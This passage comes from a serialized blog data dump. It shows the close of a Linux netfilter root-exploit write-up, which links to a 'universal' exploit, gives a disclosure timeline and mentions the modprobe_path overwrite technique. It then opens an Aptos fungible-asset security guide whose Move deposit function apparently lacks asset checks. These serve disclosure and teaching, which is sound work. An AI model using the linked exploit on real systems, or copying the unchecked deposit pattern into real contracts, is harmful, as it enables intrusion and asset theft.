",{"type":21,"tag":29,"props":63088,"children":63091},{"href":63089,"rel":63090},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[33],[63092],{"type":26,"value":63093},"lau",{"type":26,"value":63095},", so we won't go much more into it.",{"type":21,"tag":114,"props":63097,"children":63099},{"id":63098},"universal-exploit-demo",[63100],{"type":26,"value":63101},"Universal exploit demo",{"type":21,"tag":22,"props":63103,"children":63104},{},[63105,63107,63113],{"type":26,"value":63106},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":21,"tag":29,"props":63108,"children":63111},{"href":63109,"rel":63110},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[33],[63112],{"type":26,"value":59707},{"type":26,"value":355},{"type":21,"tag":66,"props":63115,"children":63117},{"id":63116},"disclosure-timeline",[63118],{"type":26,"value":63119},"Disclosure Timeline",{"type":21,"tag":87,"props":63121,"children":63122},{},[63123,63128,63133,63138,63143],{"type":21,"tag":91,"props":63124,"children":63125},{},[63126],{"type":26,"value":63127},"March 21st -- Patch made public",{"type":21,"tag":91,"props":63129,"children":63130},{},[63131],{"type":26,"value":63132},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":21,"tag":91,"props":63134,"children":63135},{},[63136],{"type":26,"value":63137},"March 24th -- Wrote KernelCTF exploit",{"type":21,"tag":91,"props":63139,"children":63140},{},[63141],{"type":26,"value":63142},"March 26th -- Wrote Universal exploit",{"type":21,"tag":91,"props":63144,"children":63145},{},[63146],{"type":26,"value":63147},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":21,"tag":22,"props":63149,"children":63150},{},[63151],{"type":26,"value":63152},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":21,"tag":66,"props":63154,"children":63155},{"id":5568},[63156],{"type":26,"value":5571},{"type":21,"tag":22,"props":63158,"children":63159},{},[63160],{"type":26,"value":63161},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":21,"tag":22,"props":63163,"children":63164},{},[63165],{"type":26,"value":63166},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":21,"tag":5603,"props":63168,"children":63169},{},[63170],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":63172},[63173,63176,63179,63182,63183,63193,63201,63202],{"id":52858,"depth":166,"text":52861,"children":63174},[63175],{"id":52879,"depth":225,"text":52882},{"id":52922,"depth":166,"text":52922,"children":63177},[63178],{"id":52969,"depth":225,"text":52972},{"id":53027,"depth":166,"text":53030,"children":63180},[63181],{"id":54190,"depth":225,"text":54193},{"id":56065,"depth":166,"text":56068},{"id":56467,"depth":166,"text":56470,"children":63184},[63185,63186,63187,63189,63190,63191,63192],{"id":56494,"depth":225,"text":56497},{"id":57376,"depth":225,"text":57379},{"id":57962,"depth":225,"text":63188},"Leaking self pointer of nft_object",{"id":58360,"depth":225,"text":58363},{"id":58874,"depth":225,"text":58877},{"id":59004,"depth":225,"text":58661},{"id":59688,"depth":225,"text":59691},{"id":59711,"depth":166,"text":59714,"children":63194},[63195,63196,63197,63198,63200],{"id":59722,"depth":225,"text":59725},{"id":60580,"depth":225,"text":60583},{"id":60656,"depth":225,"text":60659},{"id":62281,"depth":225,"text":63199},"Overwriting modprobe_path",{"id":63098,"depth":225,"text":63101},{"id":63116,"depth":166,"text":63119},{"id":5568,"depth":166,"text":5571},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":63207,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":63208,"description":63209,"image":63210,"date":63212,"isFeatured":16,"onBlogPage":16,"tags":63213,"body":63214,"_type":5619,"_id":69932,"_source":5621,"_file":69933,"_stem":69934,"_extension":5624},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":63211,"width":8116,"height":8117},"/posts/aptos-guide/title.png","2025-02-10",[8609],{"type":18,"children":63215,"toc":69916},[63216,63229,63234,63243,63249,63277,63350,63390,63424,63585,63604,63685,63725,63753,63770,63775,63783,63788,63794,63815,63895,63928,63936,63949,63954,64338,64343,64348,64354,64359,64371,64475,64513,64516,64534,64842,64847,64859,64865,64891,64912,64917,65096,65116,65122,65142,65154,65159,65165,65177,65240,65267,65291,65512,65515,65534,65644,65701,65837,65864,65870,65896,66140,66168,66470,66503,66517,66543,66576,66883,66895,67172,67186,67503,67522,67528,67560,67600,67701,67721,67841,67858,67932,67944,68032,68053,68059,68064,68069,68086,68107,68478,68537,68542,68993,68998,69034,69040,69052,69074,69100,69307,69321,69576,69588,69615,69766,69785,69815,69819,69830,69835,69848,69912],{"type":21,"tag":22,"props":63217,"children":63218},{},[63219,63221,63227],{"type":26,"value":63220},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":21,"tag":78,"props":63222,"children":63224},{"className":63223},[],[63225],{"type":26,"value":63226},"coin",{"type":26,"value":63228}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":21,"tag":22,"props":63230,"children":63231},{},[63232],{"type":26,"value":63233},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":21,"tag":63235,"props":63236,"children":63237},"important",{},[63238],{"type":21,"tag":22,"props":63239,"children":63240},{},[63241],{"type":26,"value":63242},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":21,"tag":66,"props":63244,"children":63246},{"id":63245},"aptos-coin-standard",[63247],{"type":26,"value":63248},"Aptos Coin standard",{"type":21,"tag":22,"props":63250,"children":63251},{},[63252,63254,63260,63262,63267,63268,63275],{"type":26,"value":63253},"In the beginning, Aptos used ",{"type":21,"tag":78,"props":63255,"children":63257},{"className":63256},[],[63258],{"type":26,"value":63259},"Coin",{"type":26,"value":63261},". It is still in use, although it is now considered \"legacy\". ",{"type":21,"tag":78,"props":63263,"children":63265},{"className":63264},[],[63266],{"type":26,"value":63259},{"type":26,"value":8232},{"type":21,"tag":29,"props":63269,"children":63272},{"href":63270,"rel":63271},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[33],[63273],{"type":26,"value":63274},"defined",{"type":26,"value":63276}," in Aptos as follows:",{"type":21,"tag":143,"props":63278,"children":63280},{"className":145,"code":63279,"language":147,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[63281],{"type":21,"tag":78,"props":63282,"children":63283},{"__ignoreMap":7},[63284,63323,63343],{"type":21,"tag":153,"props":63285,"children":63286},{"class":155,"line":156},[63287,63291,63295,63299,63303,63307,63311,63315,63319],{"type":21,"tag":153,"props":63288,"children":63289},{"style":170},[63290],{"type":26,"value":12123},{"type":21,"tag":153,"props":63292,"children":63293},{"style":214},[63294],{"type":26,"value":8532},{"type":21,"tag":153,"props":63296,"children":63297},{"style":160},[63298],{"type":26,"value":8537},{"type":21,"tag":153,"props":63300,"children":63301},{"style":192},[63302],{"type":26,"value":8542},{"type":21,"tag":153,"props":63304,"children":63305},{"style":214},[63306],{"type":26,"value":8547},{"type":21,"tag":153,"props":63308,"children":63309},{"style":160},[63310],{"type":26,"value":4109},{"type":21,"tag":153,"props":63312,"children":63313},{"style":192},[63314],{"type":26,"value":8556},{"type":21,"tag":153,"props":63316,"children":63317},{"style":192},[63318],{"type":26,"value":8561},{"type":21,"tag":153,"props":63320,"children":63321},{"style":160},[63322],{"type":26,"value":236},{"type":21,"tag":153,"props":63324,"children":63325},{"class":155,"line":166},[63326,63331,63335,63339],{"type":21,"tag":153,"props":63327,"children":63328},{"style":192},[63329],{"type":26,"value":63330},"    value",{"type":21,"tag":153,"props":63332,"children":63333},{"style":198},[63334],{"type":26,"value":201},{"type":21,"tag":153,"props":63336,"children":63337},{"style":214},[63338],{"type":26,"value":323},{"type":21,"tag":153,"props":63340,"children":63341},{"style":160},[63342],{"type":26,"value":792},{"type":21,"tag":153,"props":63344,"children":63345},{"class":155,"line":225},[63346],{"type":21,"tag":153,"props":63347,"children":63348},{"style":160},[63349],{"type":26,"value":548},{"type":21,"tag":22,"props":63351,"children":63352},{},[63353,63355,63360,63362,63368,63369,63375,63377,63382,63384,63389],{"type":26,"value":63354},"Aptos distinguishes coins by their type (",{"type":21,"tag":78,"props":63356,"children":63358},{"className":63357},[],[63359],{"type":26,"value":9313},{"type":26,"value":63361},") at compile time. For example, ",{"type":21,"tag":78,"props":63363,"children":63365},{"className":63364},[],[63366],{"type":26,"value":63367},"Coin\u003COtter>",{"type":26,"value":52},{"type":21,"tag":78,"props":63370,"children":63372},{"className":63371},[],[63373],{"type":26,"value":63374},"Coin\u003CWeasel>",{"type":26,"value":63376}," represent different coins, and you cannot pass a ",{"type":21,"tag":78,"props":63378,"children":63380},{"className":63379},[],[63381],{"type":26,"value":63374},{"type":26,"value":63383}," to a function expecting ",{"type":21,"tag":78,"props":63385,"children":63387},{"className":63386},[],[63388],{"type":26,"value":63367},{"type":26,"value":355},{"type":21,"tag":22,"props":63391,"children":63392},{},[63393,63395,63400,63402,63407,63409,63414,63416,63422],{"type":26,"value":63394},"The type signature reveals why ",{"type":21,"tag":78,"props":63396,"children":63398},{"className":63397},[],[63399],{"type":26,"value":63259},{"type":26,"value":63401}," has become a legacy standard. ",{"type":21,"tag":78,"props":63403,"children":63405},{"className":63404},[],[63406],{"type":26,"value":63259},{"type":26,"value":63408}," has only the ",{"type":21,"tag":78,"props":63410,"children":63412},{"className":63411},[],[63413],{"type":26,"value":8670},{"type":26,"value":63415}," ability and uses a ",{"type":21,"tag":78,"props":63417,"children":63419},{"className":63418},[],[63420],{"type":26,"value":63421},"CoinStore",{"type":26,"value":63423}," wrapper to store the coin and metadata:",{"type":21,"tag":143,"props":63425,"children":63427},{"className":145,"code":63426,"language":147,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[63428],{"type":21,"tag":78,"props":63429,"children":63430},{"__ignoreMap":7},[63431,63471,63499,63519,63549,63578],{"type":21,"tag":153,"props":63432,"children":63433},{"class":155,"line":156},[63434,63438,63443,63447,63451,63455,63459,63463,63467],{"type":21,"tag":153,"props":63435,"children":63436},{"style":170},[63437],{"type":26,"value":12123},{"type":21,"tag":153,"props":63439,"children":63440},{"style":214},[63441],{"type":26,"value":63442}," CoinStore",{"type":21,"tag":153,"props":63444,"children":63445},{"style":160},[63446],{"type":26,"value":8537},{"type":21,"tag":153,"props":63448,"children":63449},{"style":192},[63450],{"type":26,"value":8542},{"type":21,"tag":153,"props":63452,"children":63453},{"style":214},[63454],{"type":26,"value":8547},{"type":21,"tag":153,"props":63456,"children":63457},{"style":160},[63458],{"type":26,"value":4109},{"type":21,"tag":153,"props":63460,"children":63461},{"style":192},[63462],{"type":26,"value":8556},{"type":21,"tag":153,"props":63464,"children":63465},{"style":192},[63466],{"type":26,"value":8661},{"type":21,"tag":153,"props":63468,"children":63469},{"style":160},[63470],{"type":26,"value":236},{"type":21,"tag":153,"props":63472,"children":63473},{"class":155,"line":166},[63474,63479,63483,63487,63491,63495],{"type":21,"tag":153,"props":63475,"children":63476},{"style":192},[63477],{"type":26,"value":63478},"    coin",{"type":21,"tag":153,"props":63480,"children":63481},{"style":198},[63482],{"type":26,"value":201},{"type":21,"tag":153,"props":63484,"children":63485},{"style":214},[63486],{"type":26,"value":8532},{"type":21,"tag":153,"props":63488,"children":63489},{"style":160},[63490],{"type":26,"value":8537},{"type":21,"tag":153,"props":63492,"children":63493},{"style":214},[63494],{"type":26,"value":9313},{"type":21,"tag":153,"props":63496,"children":63497},{"style":160},[63498],{"type":26,"value":8867},{"type":21,"tag":153,"props":63500,"children":63501},{"class":155,"line":225},[63502,63507,63511,63515],{"type":21,"tag":153,"props":63503,"children":63504},{"style":192},[63505],{"type":26,"value":63506},"    frozen",{"type":21,"tag":153,"props":63508,"children":63509},{"style":198},[63510],{"type":26,"value":201},{"type":21,"tag":153,"props":63512,"children":63513},{"style":214},[63514],{"type":26,"value":14769},{"type":21,"tag":153,"props":63516,"children":63517},{"style":160},[63518],{"type":26,"value":792},{"type":21,"tag":153,"props":63520,"children":63521},{"class":155,"line":239},[63522,63527,63531,63536,63540,63545],{"type":21,"tag":153,"props":63523,"children":63524},{"style":192},[63525],{"type":26,"value":63526},"    deposit_events",{"type":21,"tag":153,"props":63528,"children":63529},{"style":198},[63530],{"type":26,"value":201},{"type":21,"tag":153,"props":63532,"children":63533},{"style":214},[63534],{"type":26,"value":63535}," EventHandle",{"type":21,"tag":153,"props":63537,"children":63538},{"style":160},[63539],{"type":26,"value":8537},{"type":21,"tag":153,"props":63541,"children":63542},{"style":214},[63543],{"type":26,"value":63544},"DepositEvent",{"type":21,"tag":153,"props":63546,"children":63547},{"style":160},[63548],{"type":26,"value":8867},{"type":21,"tag":153,"props":63550,"children":63551},{"class":155,"line":382},[63552,63557,63561,63565,63569,63574],{"type":21,"tag":153,"props":63553,"children":63554},{"style":192},[63555],{"type":26,"value":63556},"    withdraw_events",{"type":21,"tag":153,"props":63558,"children":63559},{"style":198},[63560],{"type":26,"value":201},{"type":21,"tag":153,"props":63562,"children":63563},{"style":214},[63564],{"type":26,"value":63535},{"type":21,"tag":153,"props":63566,"children":63567},{"style":160},[63568],{"type":26,"value":8537},{"type":21,"tag":153,"props":63570,"children":63571},{"style":214},[63572],{"type":26,"value":63573},"WithdrawEvent",{"type":21,"tag":153,"props":63575,"children":63576},{"style":160},[63577],{"type":26,"value":8867},{"type":21,"tag":153,"props":63579,"children":63580},{"class":155,"line":501},[63581],{"type":21,"tag":153,"props":63582,"children":63583},{"style":160},[63584],{"type":26,"value":548},{"type":21,"tag":22,"props":63586,"children":63587},{},[63588,63590,63595,63597,63602],{"type":26,"value":63589},"However, an astute reader would note that this isn't the only place a ",{"type":21,"tag":78,"props":63591,"children":63593},{"className":63592},[],[63594],{"type":26,"value":63259},{"type":26,"value":63596}," can be stored. You can create your own ",{"type":21,"tag":78,"props":63598,"children":63600},{"className":63599},[],[63601],{"type":26,"value":63259},{"type":26,"value":63603}," wallet, which could look like this:",{"type":21,"tag":143,"props":63605,"children":63607},{"className":145,"code":63606,"language":147,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[63608],{"type":21,"tag":78,"props":63609,"children":63610},{"__ignoreMap":7},[63611,63651,63678],{"type":21,"tag":153,"props":63612,"children":63613},{"class":155,"line":156},[63614,63618,63623,63627,63631,63635,63639,63643,63647],{"type":21,"tag":153,"props":63615,"children":63616},{"style":170},[63617],{"type":26,"value":12123},{"type":21,"tag":153,"props":63619,"children":63620},{"style":214},[63621],{"type":26,"value":63622}," DefinitelyLegitCoinStore",{"type":21,"tag":153,"props":63624,"children":63625},{"style":160},[63626],{"type":26,"value":8537},{"type":21,"tag":153,"props":63628,"children":63629},{"style":192},[63630],{"type":26,"value":8542},{"type":21,"tag":153,"props":63632,"children":63633},{"style":214},[63634],{"type":26,"value":8547},{"type":21,"tag":153,"props":63636,"children":63637},{"style":160},[63638],{"type":26,"value":4109},{"type":21,"tag":153,"props":63640,"children":63641},{"style":192},[63642],{"type":26,"value":8556},{"type":21,"tag":153,"props":63644,"children":63645},{"style":192},[63646],{"type":26,"value":8661},{"type":21,"tag":153,"props":63648,"children":63649},{"style":160},[63650],{"type":26,"value":236},{"type":21,"tag":153,"props":63652,"children":63653},{"class":155,"line":166},[63654,63658,63662,63666,63670,63674],{"type":21,"tag":153,"props":63655,"children":63656},{"style":192},[63657],{"type":26,"value":63478},{"type":21,"tag":153,"props":63659,"children":63660},{"style":198},[63661],{"type":26,"value":201},{"type":21,"tag":153,"props":63663,"children":63664},{"style":214},[63665],{"type":26,"value":8532},{"type":21,"tag":153,"props":63667,"children":63668},{"style":160},[63669],{"type":26,"value":8537},{"type":21,"tag":153,"props":63671,"children":63672},{"style":214},[63673],{"type":26,"value":9313},{"type":21,"tag":153,"props":63675,"children":63676},{"style":160},[63677],{"type":26,"value":4308},{"type":21,"tag":153,"props":63679,"children":63680},{"class":155,"line":225},[63681],{"type":21,"tag":153,"props":63682,"children":63683},{"style":160},[63684],{"type":26,"value":548},{"type":21,"tag":22,"props":63686,"children":63687},{},[63688,63693,63695,63701,63703,63708,63710,63716,63718,63723],{"type":21,"tag":78,"props":63689,"children":63691},{"className":63690},[],[63692],{"type":26,"value":63421},{"type":26,"value":63694}," includes a ",{"type":21,"tag":78,"props":63696,"children":63698},{"className":63697},[],[63699],{"type":26,"value":63700},"frozen",{"type":26,"value":63702}," field, allowing the issuer to block transfers to and from the store. ",{"type":21,"tag":78,"props":63704,"children":63706},{"className":63705},[],[63707],{"type":26,"value":63421},{"type":26,"value":63709}," is also required for a ",{"type":21,"tag":78,"props":63711,"children":63713},{"className":63712},[],[63714],{"type":26,"value":63715},"burn_from",{"type":26,"value":63717}," operation, which withdraws the ",{"type":21,"tag":78,"props":63719,"children":63721},{"className":63720},[],[63722],{"type":26,"value":63226},{"type":26,"value":63724}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":21,"tag":22,"props":63726,"children":63727},{},[63728,63730,63735,63737,63744,63746,63751],{"type":26,"value":63729},"Storing ",{"type":21,"tag":78,"props":63731,"children":63733},{"className":63732},[],[63734],{"type":26,"value":63226},{"type":26,"value":63736}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":21,"tag":29,"props":63738,"children":63741},{"href":63739,"rel":63740},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[33],[63742],{"type":26,"value":63743},"AIP-21",{"type":26,"value":63745}," summarizes the ",{"type":21,"tag":78,"props":63747,"children":63749},{"className":63748},[],[63750],{"type":26,"value":63226},{"type":26,"value":63752}," problems:",{"type":21,"tag":5689,"props":63754,"children":63755},{},[63756,63765],{"type":21,"tag":22,"props":63757,"children":63758},{},[63759,63763],{"type":21,"tag":153,"props":63760,"children":63761},{},[63762],{"type":26,"value":12313},{"type":26,"value":63764}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":21,"tag":22,"props":63766,"children":63767},{},[63768],{"type":26,"value":63769},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":21,"tag":22,"props":63771,"children":63772},{},[63773],{"type":26,"value":63774},"And declares, that:",{"type":21,"tag":5689,"props":63776,"children":63777},{},[63778],{"type":21,"tag":22,"props":63779,"children":63780},{},[63781],{"type":26,"value":63782},"Fungible assets addresses these issues.",{"type":21,"tag":22,"props":63784,"children":63785},{},[63786],{"type":26,"value":63787},"Let's find out whether this is indeed the case.",{"type":21,"tag":66,"props":63789,"children":63791},{"id":63790},"the-fungible-assets",[63792],{"type":26,"value":63793},"The fungible assets",{"type":21,"tag":22,"props":63795,"children":63796},{},[63797,63799,63805,63807,63814],{"type":26,"value":63798},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":21,"tag":78,"props":63800,"children":63802},{"className":63801},[],[63803],{"type":26,"value":63804},"FungibleAsset",{"type":26,"value":63806}," uses the ",{"type":21,"tag":29,"props":63808,"children":63811},{"href":63809,"rel":63810},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[33],[63812],{"type":26,"value":63813},"hot-potato pattern",{"type":26,"value":201},{"type":21,"tag":143,"props":63816,"children":63818},{"className":145,"code":63817,"language":147,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[63819],{"type":21,"tag":78,"props":63820,"children":63821},{"__ignoreMap":7},[63822,63838,63868,63888],{"type":21,"tag":153,"props":63823,"children":63824},{"class":155,"line":156},[63825,63829,63834],{"type":21,"tag":153,"props":63826,"children":63827},{"style":170},[63828],{"type":26,"value":12123},{"type":21,"tag":153,"props":63830,"children":63831},{"style":214},[63832],{"type":26,"value":63833}," FungibleAsset",{"type":21,"tag":153,"props":63835,"children":63836},{"style":160},[63837],{"type":26,"value":236},{"type":21,"tag":153,"props":63839,"children":63840},{"class":155,"line":166},[63841,63846,63850,63855,63859,63864],{"type":21,"tag":153,"props":63842,"children":63843},{"style":192},[63844],{"type":26,"value":63845},"    metadata",{"type":21,"tag":153,"props":63847,"children":63848},{"style":198},[63849],{"type":26,"value":201},{"type":21,"tag":153,"props":63851,"children":63852},{"style":214},[63853],{"type":26,"value":63854}," Object",{"type":21,"tag":153,"props":63856,"children":63857},{"style":160},[63858],{"type":26,"value":8537},{"type":21,"tag":153,"props":63860,"children":63861},{"style":214},[63862],{"type":26,"value":63863},"Metadata",{"type":21,"tag":153,"props":63865,"children":63866},{"style":160},[63867],{"type":26,"value":8867},{"type":21,"tag":153,"props":63869,"children":63870},{"class":155,"line":225},[63871,63876,63880,63884],{"type":21,"tag":153,"props":63872,"children":63873},{"style":192},[63874],{"type":26,"value":63875},"    amount",{"type":21,"tag":153,"props":63877,"children":63878},{"style":198},[63879],{"type":26,"value":201},{"type":21,"tag":153,"props":63881,"children":63882},{"style":214},[63883],{"type":26,"value":323},{"type":21,"tag":153,"props":63885,"children":63886},{"style":160},[63887],{"type":26,"value":792},{"type":21,"tag":153,"props":63889,"children":63890},{"class":155,"line":239},[63891],{"type":21,"tag":153,"props":63892,"children":63893},{"style":160},[63894],{"type":26,"value":548},{"type":21,"tag":22,"props":63896,"children":63897},{},[63898,63900,63905,63906,63911,63913,63918,63920,63927],{"type":26,"value":63899},"Unlike ",{"type":21,"tag":78,"props":63901,"children":63903},{"className":63902},[],[63904],{"type":26,"value":63259},{"type":26,"value":1670},{"type":21,"tag":78,"props":63907,"children":63909},{"className":63908},[],[63910],{"type":26,"value":63804},{"type":26,"value":63912}," types are defined at runtime through the ",{"type":21,"tag":78,"props":63914,"children":63916},{"className":63915},[],[63917],{"type":26,"value":63863},{"type":26,"value":63919}," field. This change was meant to ",{"type":21,"tag":29,"props":63921,"children":63924},{"href":63922,"rel":63923},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[33],[63925],{"type":26,"value":63926},"enhance extensibility",{"type":26,"value":201},{"type":21,"tag":5689,"props":63929,"children":63930},{},[63931],{"type":21,"tag":22,"props":63932,"children":63933},{},[63934],{"type":26,"value":63935},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":21,"tag":22,"props":63937,"children":63938},{},[63939,63941,63947],{"type":26,"value":63940},"An important implication is that functions accepting ",{"type":21,"tag":78,"props":63942,"children":63944},{"className":63943},[],[63945],{"type":26,"value":63946},"FungibleAssets",{"type":26,"value":63948}," must verify the metadata to ensure valid assets.",{"type":21,"tag":22,"props":63950,"children":63951},{},[63952],{"type":26,"value":63953},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":21,"tag":143,"props":63955,"children":63957},{"className":145,"code":63956,"language":147,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[63958],{"type":21,"tag":78,"props":63959,"children":63960},{"__ignoreMap":7},[63961,63998,64036,64060,64072,64080,64125,64159,64189,64196,64233,64240,64278,64285,64331],{"type":21,"tag":153,"props":63962,"children":63963},{"class":155,"line":156},[63964,63969,63973,63978,63982,63986,63990,63994],{"type":21,"tag":153,"props":63965,"children":63966},{"style":192},[63967],{"type":26,"value":63968},"public",{"type":21,"tag":153,"props":63970,"children":63971},{"style":192},[63972],{"type":26,"value":8936},{"type":21,"tag":153,"props":63974,"children":63975},{"style":192},[63976],{"type":26,"value":63977}," deposit",{"type":21,"tag":153,"props":63979,"children":63980},{"style":160},[63981],{"type":26,"value":8537},{"type":21,"tag":153,"props":63983,"children":63984},{"style":214},[63985],{"type":26,"value":8717},{"type":21,"tag":153,"props":63987,"children":63988},{"style":198},[63989],{"type":26,"value":201},{"type":21,"tag":153,"props":63991,"children":63992},{"style":192},[63993],{"type":26,"value":8661},{"type":21,"tag":153,"props":63995,"children":63996},{"style":160},[63997],{"type":26,"value":9318},{"type":21,"tag":153,"props":63999,"children":64000},{"class":155,"line":166},[64001,64006,64010,64014,64018,64022,64027,64031],{"type":21,"tag":153,"props":64002,"children":64003},{"style":192},[64004],{"type":26,"value":64005},"    sender",{"type":21,"tag":153,"props":64007,"children":64008},{"style":198},[64009],{"type":26,"value":201},{"type":21,"tag":153,"props":64011,"children":64012},{"style":198},[64013],{"type":26,"value":206},{"type":21,"tag":153,"props":64015,"children":64016},{"style":192},[64017],{"type":26,"value":9874},{"type":21,"tag":153,"props":64019,"children":64020},{"style":160},[64021],{"type":26,"value":1670},{"type":21,"tag":153,"props":64023,"children":64024},{"style":192},[64025],{"type":26,"value":64026},"fa",{"type":21,"tag":153,"props":64028,"children":64029},{"style":198},[64030],{"type":26,"value":201},{"type":21,"tag":153,"props":64032,"children":64033},{"style":214},[64034],{"type":26,"value":64035}," FungibleAsset\n",{"type":21,"tag":153,"props":64037,"children":64038},{"class":155,"line":225},[64039,64043,64047,64051,64055],{"type":21,"tag":153,"props":64040,"children":64041},{"style":160},[64042],{"type":26,"value":2362},{"type":21,"tag":153,"props":64044,"children":64045},{"style":192},[64046],{"type":26,"value":9073},{"type":21,"tag":153,"props":64048,"children":64049},{"style":160},[64050],{"type":26,"value":4236},{"type":21,"tag":153,"props":64052,"children":64053},{"style":198},[64054],{"type":26,"value":12313},{"type":21,"tag":153,"props":64056,"children":64057},{"style":160},[64058],{"type":26,"value":64059},"] {\n",{"type":21,"tag":153,"props":64061,"children":64062},{"class":155,"line":239},[64063,64068],{"type":21,"tag":153,"props":64064,"children":64065},{"style":181},[64066],{"type":26,"value":64067},"    assert_not_paused",{"type":21,"tag":153,"props":64069,"children":64070},{"style":160},[64071],{"type":26,"value":839},{"type":21,"tag":153,"props":64073,"children":64074},{"class":155,"line":382},[64075],{"type":21,"tag":153,"props":64076,"children":64077},{"style":160},[64078],{"type":26,"value":64079},"    \n",{"type":21,"tag":153,"props":64081,"children":64082},{"class":155,"line":501},[64083,64087,64092,64096,64101,64105,64109,64113,64117,64121],{"type":21,"tag":153,"props":64084,"children":64085},{"style":170},[64086],{"type":26,"value":629},{"type":21,"tag":153,"props":64088,"children":64089},{"style":192},[64090],{"type":26,"value":64091}," fa_amount",{"type":21,"tag":153,"props":64093,"children":64094},{"style":198},[64095],{"type":26,"value":255},{"type":21,"tag":153,"props":64097,"children":64098},{"style":160},[64099],{"type":26,"value":64100}," fungible_asset",{"type":21,"tag":153,"props":64102,"children":64103},{"style":198},[64104],{"type":26,"value":265},{"type":21,"tag":153,"props":64106,"children":64107},{"style":181},[64108],{"type":26,"value":23000},{"type":21,"tag":153,"props":64110,"children":64111},{"style":160},[64112],{"type":26,"value":189},{"type":21,"tag":153,"props":64114,"children":64115},{"style":198},[64116],{"type":26,"value":1974},{"type":21,"tag":153,"props":64118,"children":64119},{"style":192},[64120],{"type":26,"value":64026},{"type":21,"tag":153,"props":64122,"children":64123},{"style":160},[64124],{"type":26,"value":530},{"type":21,"tag":153,"props":64126,"children":64127},{"class":155,"line":533},[64128,64132,64137,64141,64146,64150,64155],{"type":21,"tag":153,"props":64129,"children":64130},{"style":170},[64131],{"type":26,"value":629},{"type":21,"tag":153,"props":64133,"children":64134},{"style":192},[64135],{"type":26,"value":64136}," sender_address",{"type":21,"tag":153,"props":64138,"children":64139},{"style":198},[64140],{"type":26,"value":255},{"type":21,"tag":153,"props":64142,"children":64143},{"style":181},[64144],{"type":26,"value":64145}," address_of",{"type":21,"tag":153,"props":64147,"children":64148},{"style":160},[64149],{"type":26,"value":189},{"type":21,"tag":153,"props":64151,"children":64152},{"style":192},[64153],{"type":26,"value":64154},"sender",{"type":21,"tag":153,"props":64156,"children":64157},{"style":160},[64158],{"type":26,"value":530},{"type":21,"tag":153,"props":64160,"children":64161},{"class":155,"line":542},[64162,64167,64171,64176,64180,64185],{"type":21,"tag":153,"props":64163,"children":64164},{"style":181},[64165],{"type":26,"value":64166},"    